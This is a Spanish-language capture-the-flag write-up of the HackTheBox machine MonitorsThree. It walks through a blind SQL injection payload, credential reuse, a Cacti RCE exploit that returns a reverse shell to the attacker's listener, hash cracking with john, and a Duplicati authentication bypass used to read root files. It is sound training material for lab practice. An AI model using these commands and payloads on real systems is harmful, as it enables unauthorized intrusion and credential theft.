MonitorsThree HackTheBox Writeup

logo

Reconocimiento

Lanzamos nmap a todos los puertos, con scripts y versiones de software:

nmap -p- --min-rate 5000 -sVC -Pn -n 10.10.11.30 -oN nmap.txt  

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-10 17:36 CET 
Nmap scan report for 10.10.11.30 
Host is up (0.056s latency). 
Not shown: 65532 closed tcp ports (reset) 
PORT     STATE    SERVICE VERSION 
22/tcp   open     ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0) 
| ssh-hostkey:  
|   256 86:f8:7d:6f:42:91:bb:89:72:91:af:72:f3:01:ff:5b (ECDSA) 
|_  256 50:f9:ed:8e:73:64:9e:aa:f6:08:95:14:f0:a6:0d:57 (ED25519) 
80/tcp   open     http    nginx 1.18.0 (Ubuntu) 
|_http-title: Did not follow redirect to http://monitorsthree.htb/ 
|_http-server-header: nginx/1.18.0 (Ubuntu) 
8084/tcp filtered websnp 

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel 

En el resultado de nmap, identificamos una redirección al dominio monitorsthree.htb, lo añadimos a nuestro fichero hosts y accedemos al sitio web.

Enumeramos un formulario de autenticación, probamos algunas credenciales por defecto sin éxito:

Con la herramienta dirsearch, enumeramos el directorio /admin/, pero no tenemos permitido el acceso a éste:

Buscamos posibles subdominios con la idea de encontrar algún entorno de desarrollo o algún servicio con el que podamos seguir enumerando información para reutilizar en el panel de autenticación, logramos identificar un subdominio cacti.monitorsthree.htb:

wfuzz -c --hc 404 --hw 982 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.monitorsthree.htb" http://monitorsthree.htb 

******************************************************** 
* Wfuzz 3.1.0 - The Web Fuzzer                         * 
******************************************************** 
Target: http://monitorsthree.htb/ 
Total requests: 114441 
===================================================================== 
ID           Response   Lines    Word       Chars       Payload                                                                                                                 
===================================================================== 
000000246:   302        0 L      0 W        0 Ch        "cacti" 

Accedemos al sitio web, encontramos desplegado un Cacti 1.2.26, buscando en internet, encontramos exploits públicos que permiten ejecutar código remoto con usuarios autenticados.

Exploits

Solo tenemos un pequeño problema, y es que no tenemos credenciales :(, probamos credenciales por defecto para acceder pero sin éxito:

Explotación

Volvemos al principio, damos un repaso de todo lo que tenemos y empezamos a “armar un puzzle” en nuestra cabeza. Revisando el panel de autenticación inicial, vemos que existe una funcionalidad para recuperar la contraseña.

Interceptamos con Burp la petición, fácilmente logramos enumerar una Inyección SQL en la respuesta del servidor al introducir una comilla simple “”:

Prueba de concepto

Automatizamos la inyección SQL con la herramienta SQLMap:

POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N 
sqlmap identified the following injection point(s) with a total of 73 HTTP(s) requests: 
--- 
Parameter: username (POST) 
    Type: time-based blind 
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) 
    Payload: username=admin' AND (SELECT 5348 FROM (SELECT(SLEEP(5)))dhju) AND 'jbfx'='jbfx 
--- 

Tras la enumeración de la base de datos monitorsthree_db, y dentro de la tabla users, conseguimos extraer varias credenciales, y logramos acceder al panel interno con una de ellas:

Probamos a reutilizar las credenciales sobre el panel de Cacti con éxito, así que, continuamos por esta vía con la intención de explotar el RCE y conseguir una conexión interactiva con la máquina remota:

Utilizamos el exploit https://github.com/Safarchand/CVE-2024-25641, éste require de tener una terminal en escucha para recibir la conexión de la máquina víctima.

Nos ponemos en escucha y ejecutamos el exploit:

python3 exploit.py -u admin -p ************ -i <NUESTRA_IP> -l <PUERTO> -url http://cacti.monitorsthree.htb
Cacti Instance Found! 
Login Successful! 
Package Import finalized 
Triggering shell..... make sure you've started the listener 

Y conseguimos acceso a la máquina:

nc -nvlp 443 
listening on [any] 443 ... 
connect to [10.10.******] from (UNKNOWN) [10.10.11.30] 46536 
/bin/sh: 0: can't access tty; job control turned off 
$ id 
uid=33(www-data) gid=33(www-data) groups=33(www-data) 
$ 

Encontramos que existe un usuario llamado Marcus, pero no tenemos permisos para acceder a sus ficheros, así que buscamos credenciales en los ficheros de Cacti

www-data@monitorsthree:~/html/cacti/.github$ grep -ri password 
workflows/syntax.yml:          MYSQL_PASSWORD: ********** 
workflows/syntax.yml:          MYSQL_ROOT_PASSWORD: ************* 
workflows/syntax.yml:        echo -e "[client]\nuser = root\npassword = **********\nhost = 127.0.0.1\n" >> ~/.my.cnf 
workflows/syntax.yml:        echo -e "[client]\nuser = root\npassword = **********\nhost = 127.0.0.1\n" > $/.my.cnf 

Logramos enumerar las credenciales de Marcus en la base de datos de Cacti:

www-data@monitorsthree:~/html/cacti/.github$ mysql -u ******** -p 
Enter password:  
Welcome to the MariaDB monitor.  Commands end with ; or \g. 
Your MariaDB connection id is 7045 
Server version: 10.6.18-MariaDB-0ubuntu0.22.04.1 Ubuntu 22.04 

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. 

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. 

MariaDB [(none)]> show database; 
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'database' at line 1 
MariaDB [(none)]> show databases; 
+--------------------+ 
| Database           | 
+--------------------+ 
| cacti              | 
| information_schema | 
| mysql              | 
+--------------------+ 
3 rows in set (0.001 sec) 
  
MariaDB [(none)]>  
 
Enumeramos las credenciales de marcus en cactis 
 
MariaDB [cacti]> select username,password,full_name,password_history from user_auth; 
+----------+--------------------------------------------------------------+---------------+------------------+ 
| username | password                                                     | full_name     | password_history | 
+----------+--------------------------------------------------------------+---------------+------------------+ 
| admin    | $2y$10$****************************3mDuyG90G                 | Administrator | -1               | 
| guest    | $2y$10$****************************ATo77nLHu                 | Guest Account | -1               | 
| marcus   | $2y$10$****************************xo79IBjtK                 | Marcus        |                  | 
+----------+--------------------------------------------------------------+---------------+------------------+ 
3 rows in set (0.001 sec) 
  
MariaDB [cacti]>   

Con la ayuda de la herramienta john y el diccionario rockyou, logramos crackear el hash bcrypt del usuario Marcus:

john marcus.hash --wordlist=/usr/share/wordlists/rockyou.txt  
Using default input encoding: UTF-8 
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3]) 
Cost 1 (iteration count) is 1024 for all loaded hashes 
Will run 2 OpenMP threads 
Press 'q' or Ctrl-C to abort, almost any other key for status 
******************      (?)      
1g 0:00:00:04 DONE (2025-01-12 03:59) 0.2421g/s 108.9p/s 108.9c/s 108.9C/s 12345678910..chris1 
Use the "--show" option to display all of the cracked passwords reliably 
Session completed. 

Probamos la contraseña sobre el usuario Marcus y conseguimos leer la flag de user.txt:

www-data@monitorsthree:~/html/cacti/.github$ su marcus 
Password:  
marcus@monitorsthree:/var/www/html/cacti/.github$ id 
uid=1000(marcus) gid=1000(marcus) groups=1000(marcus) 
marcus@monitorsthree:/var/www/html/cacti/.github$  

marcus@monitorsthree:~$ ls -lna 
total 32 
drwxr-x--- 4 1000 1000 4096 Aug 16 11:35 . 
drwxr-xr-x 3    0    0 4096 May 26  2024 .. 
lrwxrwxrwx 1    0    0    9 Aug 16 11:29 .bash_history -> /dev/null 
-rw-r--r-- 1 1000 1000  220 Jan  6  2022 .bash_logout 
-rw-r--r-- 1 1000 1000 3771 Jan  6  2022 .bashrc 
drwx------ 2 1000 1000 4096 Aug 16 11:35 .cache 
-rw-r--r-- 1 1000 1000  807 Jan  6  2022 .profile 
drwx------ 2 1000 1000 4096 Aug 20 13:07 .ssh 
-rw-r----- 1    0 1000   33 Jan 11 23:10 user.txt 
marcus@monitorsthree:~$ cat user.txt  
******************** 
marcus@monitorsthree:~$  

Escalada de privilegios

En el directorio de Marcus, encontraremos el fichero id_rsa dentro del directorio .ssh, ésta contiene la clave privada y nos permitirá establecer conexión mediante SSH.

Realizando una enumeración de los servicios internos, encontramos un servicio web corriendo en el puerto 8200:

tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                                                                                                            
tcp        0      0 127.0.0.1:8200          0.0.0.0:*               LISTEN      -                    
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                    
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                    
tcp        0      0 127.0.0.1:38787         0.0.0.0:*               LISTEN      -                    
tcp        0      0 0.0.0.0:8084            0.0.0.0:*               LISTEN      -                    
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                    
tcp6       0      0 :::80                   :::*                    LISTEN      -                    
tcp6       0      0 :::22                   :::*                    LISTEN      -       

Hacemos un port forwarding incluyendo el fichero id_rsa de Marcus, con la intención de montar el servicio web del puerto 8200 en nuestro puerto 8200 local:

ssh -L 8200:127.0.0.1:8200 marcus@10.10.11.30 -i id_rsa

Accedemos a él, vemos un simple formulario de Duplicati, buscando información sobre este software en internet, permite la creación y recuperación de copias de seguridad.

También encontramos un artículo que explica como evadir el sistema de autenticación:

Así que seguimos los pasos que explica el artículo anterior, logramos enumerar y descargar una base de datos en SQLite, y logramos visualizar el hash server-passphrase y server-passphrase-salt:

Tras seguir el proceso de evasión, logramos acceder al panel de Duplicati. El proceso es bastante sencillo, primero crearemos una backup del archivo root.txt, y posteriormente, haremos la recuperación del fichero al directorio de nuestro usuario.

Creamos la backup para el fichero root.txt

Cumplimentamos el campo Name y pulsamos en siguiente:

Seleccionamos el directorio donde queremos realizar la copia de seguridad:

Recuperación de la backup del fichero root.txt

Pulsamos en el menú Restore y seleccionamos nuestra copia de seguridad recien creada, después seleccionaremos el fichero root.txt y pulsaremos en Continue:

Seleccionamos la carpeta que recibirá el fichero root.txt, seleccionamos la del usuario Marcus, también deberemos de marcar la casilla “Restore read/write permissions”:

Si todo ha ido bien, deberemos de recibir un mensaje como el siguiente:

Finalmente, ejecutamos el siguiente comando y conseguiremos la flag de root:

marcus@monitorsthree:~$ cat root.txt/root.txt  
************************ 

¡Hasta la próxima! ¡Que la “suerte” os acompañe!